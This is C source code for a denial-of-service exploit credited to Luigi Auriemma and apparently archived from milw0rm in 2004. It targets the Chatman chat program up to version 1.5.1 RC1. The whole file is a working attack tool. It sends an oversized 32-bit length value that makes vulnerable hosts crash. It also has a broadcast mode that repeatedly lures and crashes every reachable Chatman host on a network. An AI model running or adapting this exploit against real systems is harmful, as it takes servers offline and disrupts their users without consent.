/* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #define TWAIT 30000 DWORD tid1; HANDLE thandle; #define launch_thread(FUNCTION, PARAMETER) \ thandle = CreateThread(NULL, 0, (void *)&FUNCTION, (void *)PARAMETER, 0, &tid1); \ if(!thandle) #else #include #include #include #include #include #include #include #define ONESEC 1 #define TWAIT 30 pthread_t tid1; int thandle; #define launch_thread(FUNCTION, PARAMETER) \ thandle = pthread_create(&tid1, NULL, (void *)&FUNCTION, (void *)PARAMETER); \ if(thandle) #endif #define VER "0.1" #define PORT 7779 #define JOIN "/TS\r" "crash" #define BOOM "\x00\x00\x00\x7f" // the cause of the bug is a too big 32 bit value // so the allocation fails and the host exits // note, are made some operations on this number // by the target host #ifdef WIN32 DWORD WINAPI broadjoin(void); DWORD WINAPI client(int sock); #else void *broadjoin(void); void *client(int sock); #endif u_long resolv(char *host); void std_err(void); u_long broadip = 0xffffffffL; int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, sa, type, on = 1, psz; setbuf(stdout, NULL); fputs("\n" "Chatman <= 1.5.1 RC1 broadcast crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [host]\n" "\n" "d = direct, you must specify the host to crash\n" " Example: %s d localhost\n" "p = passive broadcast crash, any Chatman host reacheable by 255.255.255.255\n" " (or any other address choosen by you) will be passively crashed.\n" " Examples: %s p\n" " %s p 227.0.0.2\n" " %s p 127.0.0.1\n" "\n", argv[0], argv[0], argv[0], argv[0], argv[0]); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif type = argv[1][0]; if((type != 'd') && (type != 'p')) { fputs("\nError: You must choose between 'd' or 'p'\n", stdout); exit(1); } if(type == 'd') { if(argc < 3) { fputs("\nError: you must specify the host to crash\n", stdout); exit(1); } peer.sin_addr.s_addr = resolv(argv[2]); printf("- target %s:%hu\n", inet_ntoa(peer.sin_addr), PORT); } else { if(argc > 2) broadip = resolv(argv[2]); peer.sin_addr.s_addr = INADDR_ANY; psz = sizeof(peer); printf("- target %s (UDP %d, bind %d)\n", inet_ntoa(*(struct in_addr *)&broadip), PORT - 1, PORT); } peer.sin_port = htons(PORT); peer.sin_family = AF_INET; sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(type == 'd') { if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("- send BOOM data\n", stdout); if(send(sd, BOOM, sizeof(BOOM) - 1, 0) < 0) std_err(); fputs("- the host should be crashed, check it manually\n", stdout); } else { fputs( "- launch the broad ping, the tool will automatically and passively crash any\n" " vulnerable Chatman host each 30 seconds (so it runs infinitely until you\n" " stop it).\n", stdout); launch_thread(broadjoin, NULL) { fputs("\nError: Cannot create the thread\n", stdout); exit(1); } fputs("- bind TCP port to accept connections to crash hosts\n", stdout); if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(listen(sd, 5) < 0) std_err(); for(;;) { sa = accept(sd, (struct sockaddr *)&peer, &psz); if(sa < 0) std_err(); printf("Host %s:%hu -> BOOM\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); launch_thread(client, sa) { fputs("\nError: Cannot create the thread\n", stdout); exit(1); } } } close(sd); return(0); } #ifdef WIN32 DWORD WINAPI broadjoin(void) { #else void *broadjoin(void) { #endif int sd, on = 1; struct sockaddr_in peer; peer.sin_addr.s_addr = broadip; peer.sin_port = htons(PORT - 1); // 7778 peer.sin_family = AF_INET; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) std_err(); fputs("- send broadcast UDP join packet (each 30 seconds)\n", stdout); for(;;) { if(sendto(sd, JOIN, sizeof(JOIN) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs(".\n", stdout); sleep(TWAIT); } close(sd); return(0); } #ifdef WIN32 DWORD WINAPI client(int sock) { #else void *client(int sock) { #endif if(send(sock, BOOM, sizeof(BOOM) - 1, 0) < 0) std_err(); sleep(ONESEC); // needed! close(sock); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-03-01]